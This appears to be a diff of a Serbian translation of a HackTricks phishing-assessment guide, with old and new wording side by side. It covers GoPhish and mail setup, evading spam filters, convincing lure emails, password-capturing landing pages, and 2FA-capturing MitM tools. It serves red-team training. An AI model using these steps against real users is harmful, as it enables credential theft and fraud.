Bićete dobili lozinku za admin korisnika na portu 3333 u izlazu. Stoga, pristupite tom portu i koristite te podatke za promenu admin lozinke. Možda ćete morati da tunelujete taj port na lokalni: Biće ti dat password za admin korisnika na portu 3333 u izlazu. Stoga, pristupi tom portu i koristi te kredencijale da promeniš admin lozinku. Možda ćeš morati da tuneluješ taj port na lokalno:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -103,7 +104,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Konfiguracija TLS sertifikata** **Konfiguracija TLS sertifikata**
Pre ovog koraka trebalo bi da **već kupite domen** koji ćete koristiti i on mora biti **usmeren** ka **IP adresi VPS servera** na kojem konfigurišete **gophish**. Pre ovog koraka, trebali biste **već kupiti domen** koji ćete koristiti i on mora biti **usmeren** na **IP VPS-a** gde konfigurišete **gophish**.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -119,34 +120,34 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**Konfiguracija pošte** **Konfiguracija mail-a**
Započnite instalacijom: `apt-get install postfix` Počnite sa instalacijom: `apt-get install postfix`
Zatim dodajte domen u sledeće datoteke: Zatim dodajte domen u sledeće fajlove:
* **/etc/postfix/virtual\_domains** * **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport** * **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp** * **/etc/postfix/virtual\_regexp**
**Takođe promenite vrednosti sledećih promenljivih unutar /etc/postfix/main.cf** **Promenite takođe vrednosti sledećih varijabli unutar /etc/postfix/main.cf**
`myhostname = <domain>`\ `myhostname = <domen>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domen>, localhost.com, localhost`
Na kraju izmenite datoteke **`/etc/hostname`** i **`/etc/mailname`** na ime vašeg domena i **restartujte svoj VPS.** Na kraju, izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** na ime vašeg domena i **ponovo pokrenite vaš VPS.**
Sada, kreirajte **DNS A zapis** za `mail.<domain>` koji pokazuje na **IP adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>` Sada, kreirajte **DNS A zapis** za `mail.<domen>` koji pokazuje na **ip adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domen>`
Sada testirajmo slanje email-a: Sada hajde da testiramo slanje email-a:
```bash ```bash
apt install mailutils apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
``` ```
**Konfiguracija Gophish-a** **Gophish konfiguracija**
Zaustavite izvršavanje Gophish-a i konfigurišite ga.\ Prekinite izvršavanje gophisha i hajde da ga konfigurišemo.\
Izmenite `/opt/gophish/config.json` na sledeći način (obratite pažnju na korišćenje https): Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na korišćenje https):
```bash ```bash
{ {
"admin_server": { "admin_server": {
@ -173,7 +174,7 @@ Izmenite `/opt/gophish/config.json` na sledeći način (obratite pažnju na kori
``` ```
**Konfigurišite gophish servis** **Konfigurišite gophish servis**
Da biste kreirali gophish servis kako bi se automatski pokretao i upravljao kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: Da biste kreirali gophish servis kako bi mogao da se pokrene automatski i upravlja kao servis, možete kreirati datoteku `/etc/init.d/gophish` sa sledećim sadržajem:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -220,7 +221,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
Završite konfigurisanje servisa i proverite ga radeći: Završite konfiguraciju usluge i proverite je tako što ćete:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -235,56 +236,56 @@ service gophish stop
### Sačekajte i budite legitimni ### Sačekajte i budite legitimni
Što je stariji domen, manje je verovatno da će biti uhvaćen kao spam. Zato treba da sačekate što je više moguće (najmanje 1 nedelju) pre phishing procene. Osim toga, ako postavite stranicu o reputacionom sektoru, reputacija koju dobijete biće bolja. Što je domen stariji, to je manje verovatno da će biti označen kao spam. Zato treba da sačekate što je duže moguće (najmanje 1 nedelju) pre phishing procene. Štaviše, ako postavite stranicu o reputacionom sektoru, dobijena reputacija će biti bolja.
Imajte na umu da čak i ako morate da sačekate nedelju dana, možete završiti konfigurisanje svega sada. Imajte na umu da čak i ako morate da čekate nedelju dana, možete završiti konfiguraciju svega sada.
### Konfigurisanje Reverse DNS (rDNS) zapisa ### Konfigurišite Reverse DNS (rDNS) zapis
Postavite rDNS (PTR) zapis koji rešava IP adresu VPS-a u ime domena. Postavite rDNS (PTR) zapis koji rešava IP adresu VPS-a na naziv domena.
### SPF zapis (Sender Policy Framework) ### Sender Policy Framework (SPF) Zapis
Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis, [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#spf). Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#spf).
Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete svoju SPF politiku (koristite IP adresu VPS mašine) Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete vašu SPF politiku (koristite IP adresu VPS mašine)
![](<../../.gitbook/assets/image (1037).png>) ![](<../../.gitbook/assets/image (1037).png>)
Ovo je sadržaj koji treba postaviti unutar TXT zapisa unutar domena: Ovo je sadržaj koji mora biti postavljen unutar TXT zapisa unutar domena:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### Zapis o autentikaciji, izveštavanju i usaglašavanju poruka zasnovan na domenu (DMARC) ### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis, [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#dmarc). Morate **konfigurisati DMARC zapis za novu domenu**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Morate kreirati novi DNS TXT zapis koji pokazuje na ime hosta `_dmarc.<domen>` sa sledećim sadržajem: Morate kreirati novi DNS TXT zapis koji pokazuje na ime hosta `_dmarc.<domain>` sa sledećim sadržajem:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#dkim). Morate **konfigurisati DKIM za novu domenu**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/#dkim).
Ovaj tutorijal je zasnovan na: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) Ovaj tutorijal se zasniva na: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="info" %} {% hint style="info" %}
Potrebno je da konkatenirate oba B64 vrednosti koje generiše DKIM ključ: Morate spojiti oba B64 vrednosti koje DKIM ključ generiše:
``` ```
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
``` ```
{% endhint %} {% endhint %}
### Testirajte ocenu konfiguracije vaše e-pošte ### Testirajte rezultat vaše email konfiguracije
To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com)\ Možete to uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com)\
Jednostavno pristupite stranici i pošaljite e-poruku na adresu koju vam daju: Samo pristupite stranici i pošaljite email na adresu koju vam daju:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
Možete takođe **proveriti konfiguraciju vaše email adrese** slanjem emaila na `check-auth@verifier.port25.com` i **čitanjem odgovora** (za ovo će vam biti potrebno da **otvorite** port **25** i vidite odgovor u fajlu _/var/mail/root_ ako šaljete email kao root).\ Možete takođe **proveriti svoju email konfiguraciju** slanjem emaila na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i vidite odgovor u datoteci _/var/mail/root_ ako pošaljete email kao root).\
Proverite da li prolazite sve testove: Proverite da li ste prošli sve testove:
```bash ```bash
========================================================== ==========================================================
Summary of Results Summary of Results
@ -295,41 +296,41 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
Možete takođe poslati **poruku na Gmail koji kontrolišete**, i proveriti **zaglavlja emaila** u svom Gmail inboxu, `dkim=pass` treba da bude prisutan u polju zaglavlja `Authentication-Results`. Možete takođe poslati **poruku na Gmail koji je pod vašom kontrolom**, i proveriti **zaglavlja e-pošte** u vašem Gmail inboxu, `dkim=pass` treba da bude prisutan u `Authentication-Results` zaglavlju.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### Uklanjanje sa Spamhouse crne liste ### Uklanjanje sa Spamhouse crne liste
Stranica [www.mail-tester.com](https://www.mail-tester.com) može vam pokazati da li je vaš domen blokiran od strane Spamhouse-a. Možete zatražiti uklanjanje vašeg domena/IP adrese na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) Stranica [www.mail-tester.com](https://www.mail-tester.com) može vam pokazati da li je vaša domena blokirana od strane spamhouse-a. Možete zatražiti uklanjanje vaše domene/IP na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Uklanjanje sa Microsoft crne liste ### Uklanjanje sa Microsoft crne liste
Možete zatražiti uklanjanje vašeg domena/IP adrese na [https://sender.office.com/](https://sender.office.com). Možete zatražiti uklanjanje vaše domene/IP na [https://sender.office.com/](https://sender.office.com).
## Kreiranje i Pokretanje GoPhish Kampanje ## Kreirajte i pokrenite GoPhish kampanju
### Profil Slanja ### Profil pošiljaoca
* Postavite **ime za identifikaciju** profila pošiljaoca * Postavite **ime za identifikaciju** profila pošiljaoca
* Odlučite se iz kojeg naloga ćete slati phishing e-poštu. Predlozi: _noreply, support, servicedesk, salesforce..._ * Odlučite sa kojeg računa ćete slati phishing emailove. Predlozi: _noreply, support, servicedesk, salesforce..._
* Možete ostaviti prazna polja za korisničko ime i lozinku, ali se pobrinite da označite opciju Ignoriši greške sertifikata * Možete ostaviti prazne korisničko ime i lozinku, ali obavezno proverite opciju Ignoriši greške sertifikata
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %} {% hint style="info" %}
Preporučuje se koristiti funkcionalnost "**Pošalji test e-poštu**" kako biste proverili da li sve radi.\ Preporučuje se korišćenje funkcionalnosti "**Pošalji test email**" da biste testirali da li sve funkcioniše.\
Preporučujem da **pošaljete test e-poštu na adrese 10min mailova** kako biste izbegli da budete blokirani praveći testove. Preporučujem da **pošaljete test emailove na 10min mail adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja.
{% endhint %} {% endhint %}
### Šablon E-pošte ### Email šablon
* Postavite **ime za identifikaciju** šablona * Postavite **ime za identifikaciju** šablona
* Zatim napišite **predmet** (ništa čudno, samo nešto što biste očekivali da pročitate u redovnom e-mailu) * Zatim napišite **predmet** (ništa neobično, samo nešto što biste mogli očekivati da pročitate u običnom emailu)
* Proverite da li ste označili "**Dodaj praćenje slike**" * Uverite se da ste označili "**Dodaj sliku za praćenje**"
* Napišite **šablon e-pošte** (možete koristiti promenljive kao u sledećem primeru): * Napišite **email šablon** (možete koristiti varijable kao u sledećem primeru):
```markup ```markup
<html> <html>
<head> <head>
@ -348,69 +349,69 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Napomena da bi se **povećala verodostojnost e-pošte**, preporučuje se korišćenje nekog potpisa iz e-pošte klijenta. Predlozi: Note that **da biste povećali kredibilitet email-a**, preporučuje se korišćenje neke potpisa iz email-a klijenta. Predlozi:
* Pošaljite e-poštu na **ne postojeću adresu** i proverite da li odgovor sadrži neki potpis. * Pošaljite email na **nepostojeću adresu** i proverite da li odgovor ima neku potpis.
* Potražite **javne e-adrese** poput info@ex.com ili press@ex.com ili public@ex.com i pošaljite im e-poštu i sačekajte odgovor. * Pretražujte **javne email adrese** kao što su info@ex.com ili press@ex.com ili public@ex.com i pošaljite im email i sačekajte odgovor.
* Pokušajte da kontaktirate **neku validnu otkrivenu** e-adresu i sačekajte odgovor * Pokušajte da kontaktirate **neku validnu otkrivenu** email adresu i sačekajte odgovor.
![](<../../.gitbook/assets/image (80).png>) ![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %} {% hint style="info" %}
Šablon e-pošte takođe omogućava da se **prilože datoteke za slanje**. Ako želite da ukradete NTLM izazove koristeći neke posebno izrađene datoteke/dokumente [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). Email šablon takođe omogućava **priključivanje fajlova za slanje**. Ako želite da ukradete NTLM izazove koristeći neke posebno kreirane fajlove/dokumente [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %} {% endhint %}
### Landing stranica ### Odredišna stranica
* Napišite **ime** * Napišite **ime**
* **Napišite HTML kod** web stranice. Imajte na umu da možete **uvoziti** web stranice. * **Napišite HTML kod** web stranice. Imajte na umu da možete **importovati** web stranice.
* Označite **Zaustavi poslate podatke** i **Zaustavi lozinke** * Označite **Zabeleži poslata podataka** i **Zabeleži lozinke**
* Postavite **preusmerenje** * Postavite **preusmeravanje**
![](<../../.gitbook/assets/image (826).png>) ![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %} {% hint style="info" %}
Obično ćete morati da izmenite HTML kod stranice i obavite neke testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima**. Zatim, napišite taj HTML kod u okviru.\ Obično ćete morati da modifikujete HTML kod stranice i napravite neke testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima.** Zatim, napišite taj HTML kod u kutiju.\
Imajte na umu da ako trebate **koristiti neke statičke resurse** za HTML (možda neke CSS i JS stranice) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i zatim im pristupiti sa _**/static/\<ime datoteke>**_ Imajte na umu da ako trebate da **koristite neke statične resurse** za HTML (možda neke CSS i JS stranice) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i zatim im pristupiti iz _**/static/\<filename>**_
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
Za preusmerenje možete **preusmeriti korisnike na legitimnu glavnu web stranicu** žrtve, ili ih preusmeriti na _/static/migration.html_ na primer, postaviti neki **vrtlog (**[**https://loading.io/**](https://loading.io)**) na 5 sekundi, a zatim naznačiti da je proces bio uspešan**. Za preusmeravanje možete **preusmeriti korisnike na legitimnu glavnu web stranicu** žrtve, ili ih preusmeriti na _/static/migration.html_ na primer, staviti neku **spinning wheel (**[**https://loading.io/**](https://loading.io)**) na 5 sekundi i zatim naznačiti da je proces bio uspešan**.
{% endhint %} {% endhint %}
### Korisnici & Grupe ### Korisnici i grupe
* Postavite ime * Postavite ime
* **Uvezite podatke** (imajte na umu da za korišćenje šablona za primer trebate ime, prezime i e-adresu svakog korisnika) * **Importujte podatke** (imajte na umu da da biste koristili šablon za primer trebate ime, prezime i email adresu svakog korisnika)
![](<../../.gitbook/assets/image (163).png>) ![](<../../.gitbook/assets/image (163).png>)
### Kampanja ### Kampanja
Na kraju, kreirajte kampanju odabirom imena, šablona e-pošte, landing stranice, URL-a, profila slanja i grupe. Imajte na umu da će URL biti link poslat žrtvama Na kraju, kreirajte kampanju birajući ime, email šablon, odredišnu stranicu, URL, profil slanja i grupu. Imajte na umu da će URL biti link poslat žrtvama.
Imajte na umu da **Profil slanja omogućava slanje test e-pošte da biste videli kako će konačna phishing e-pošta izgledati**: Imajte na umu da **Profil slanja omogućava slanje testnog email-a da vidite kako će izgledati konačni phishing email**:
![](<../../.gitbook/assets/image (192).png>) ![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %} {% hint style="info" %}
Preporučujem da **test e-poštu šaljete na adrese 10min mailova** kako biste izbegli da budete na crnoj listi praveći testove. Preporučio bih da **šaljete testne email adrese na 10min mail adrese** kako biste izbegli da budete stavljeni na crnu listu tokom testiranja.
{% endhint %} {% endhint %}
Kada je sve spremno, samo pokrenite kampanju! Kada je sve spremno, jednostavno pokrenite kampanju!
## Kloniranje veb sajta ## Kloniranje web stranica
Ako iz nekog razloga želite da klonirate veb sajt, pogledajte sledeću stranicu: Ako iz bilo kog razloga želite da klonirate web stranicu, proverite sledeću stranicu:
{% content-ref url="clone-a-website.md" %} {% content-ref url="clone-a-website.md" %}
[clone-a-website.md](clone-a-website.md) [clone-a-website.md](clone-a-website.md)
{% endcontent-ref %} {% endcontent-ref %}
## Dokumenti i fajlovi sa zadnjim vratima ## Dokumenti i fajlovi sa backdoor-om
U nekim phishing procenama (uglavnom za Crvene timove) takođe ćete želeti da **pošaljete fajlove koji sadrže neku vrstu zadnjih vrata** (možda C2 ili možda nešto što će pokrenuti autentifikaciju).\ U nekim phishing procenama (pretežno za Red Teams) želećete takođe **slati fajlove koji sadrže neku vrstu backdoor-a** (možda C2 ili možda samo nešto što će pokrenuti autentifikaciju).\
Pogledajte sledeu stranicu za neke primere: Pogledajte sledeću stranicu za neke primere:
{% content-ref url="phishing-documents.md" %} {% content-ref url="phishing-documents.md" %}
[phishing-documents.md](phishing-documents.md) [phishing-documents.md](phishing-documents.md)
@ -420,36 +421,36 @@ Pogledajte sledeću stranicu za neke primere:
### Putem Proxy MitM ### Putem Proxy MitM
Prethodni napad je prilično lukav jer lažirate pravu veb lokaciju i prikupljate informacije postavljene od strane korisnika. Nažalost, ako korisnik nije uneo tačnu lozinku ili ako je aplikacija koju ste falsifikovali konfigurisana sa 2FA, **ove informacije vam neće dozvoliti da se predstavite kao prevareni korisnik**. Prethodni napad je prilično pametan jer lažete pravu web stranicu i prikupljate informacije koje je postavio korisnik. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako je aplikacija koju ste lažirali konfigurisana sa 2FA, **ove informacije vam neće omogućiti da se pretvarate da ste prevareni korisnik**.
Ovde su alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) korisni. Ovaj alat će vam omogućiti da generišete napad poput MitM-a. Osnovno, napadi funkcionišu na sledeći način: Ovde su alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) korisni. Ovaj alat će vam omogućiti da generišete MitM napad. U suštini, napadi funkcionišu na sledeći način:
1. **Predstavljate se kao obrazac za prijavu** prave veb stranice. 1. **Pretvarate se u login** formu prave web stranice.
2. Korisnik **šalje** svoje **poverljive podatke** na vašu lažnu stranicu, a alat ih šalje na pravu veb stranicu, **proveravajući da li poverljivi podaci rade**. 2. Korisnik **šalje** svoje **akreditive** na vašu lažnu stranicu, a alat šalje te podatke pravoj web stranici, **proveravajući da li akreditivi rade**.
3. Ako je nalog konfigurisan sa **2FA**, stranica MitM će zatražiti to i kada korisnik ga unese, alat će ga poslati na pravu veb stranicu. 3. Ako je nalog konfiguran sa **2FA**, MitM stranica će tražiti to, a kada **korisnik unese** to, alat će to poslati pravoj web stranici.
4. Kada se korisnik autentifikuje, vi (kao napadač) ćete imati **pokupljene poverljive podatke, 2FA, kolačić i bilo koju informaciju** o svakoj interakciji dok alat izvodi MitM. 4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene akreditive, 2FA, kolačić i sve informacije** svake interakcije dok alat obavlja MitM.
### Putem VNC-a ### Putem VNC
Šta ako umesto **slanja žrtve na zlonamernu stranicu** sa istim izgledom kao originalna, pošaljete je na **VNC sesiju sa pregledačem povezanim sa pravom veb stranicom**? Bićete u mogućnosti da vidite šta radi, ukradete lozinku, korišćeni MFA, kolačiće...\ Šta ako umesto da **šaljete žrtvu na zloćudnu stranicu** koja izgleda kao originalna, pošaljete ga na **VNC sesiju sa pretraživačem povezanom na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, korišćeni MFA, kolačiće...\
To možete uraditi sa [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) To možete uraditi sa [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Otkrivanje detekcije ## Otkrivanje detekcije
Očigledno jedan od najboljih načina da saznate da li ste uhvaćeni je da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, na neki način je vaš domen otkriven kao sumnjiv.\ Očigledno je jedan od najboljih načina da saznate da li ste uhvaćeni da **pretražujete svoju domenu unutar crnih lista**. Ako se pojavi na listi, na neki način vaša domena je otkrivena kao sumnjiva.\
Jednostavan način da proverite da li se vaš domen pojavljuje u bilo kojoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com) Jedan jednostavan način da proverite da li se vaša domena pojavljuje na nekoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com)
Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjive phishing aktivnosti u divljini** kako je objašnjeno u: Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjivu phishing aktivnost u prirodi** kao što je objašnjeno u:
{% content-ref url="detecting-phising.md" %} {% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md) [detecting-phising.md](detecting-phising.md)
{% endcontent-ref %} {% endcontent-ref %}
Možete **kupiti domen sa veoma sličnim imenom** domenu žrtve **i/ili generisati sertifikat** za **poddomen** domena koji kontrolišete **sadržeći** ključnu reč **imenom** domena žrtve. Ako **žrtva** izvrši bilo kakvu vrstu **DNS ili HTTP interakcije** sa njima, saznaćete da **aktivno traži** sumnjive domene i moraćete biti veoma prikriveni. Možete **kupiti domenu sa vrlo sličnim imenom** kao domena žrtve **i/ili generisati sertifikat** za **poddomen** domene koju kontrolišete **sadržeći** **ključnu reč** domena žrtve. Ako žrtva izvrši bilo kakvu vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i moraćete da budete veoma diskretni.
### Procena phishinga ### Procena phishing-a
Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaša e-pošta završiti u spam folderu ili da li će biti blokirana ili uspešna. Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaš email završiti u spam folderu ili će biti blokiran ili uspešan.
## Reference ## Reference
@ -458,16 +459,17 @@ Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da l
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) * [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) * [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# Otkrivanje Phishinga # Otkrivanje Phishing-a
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
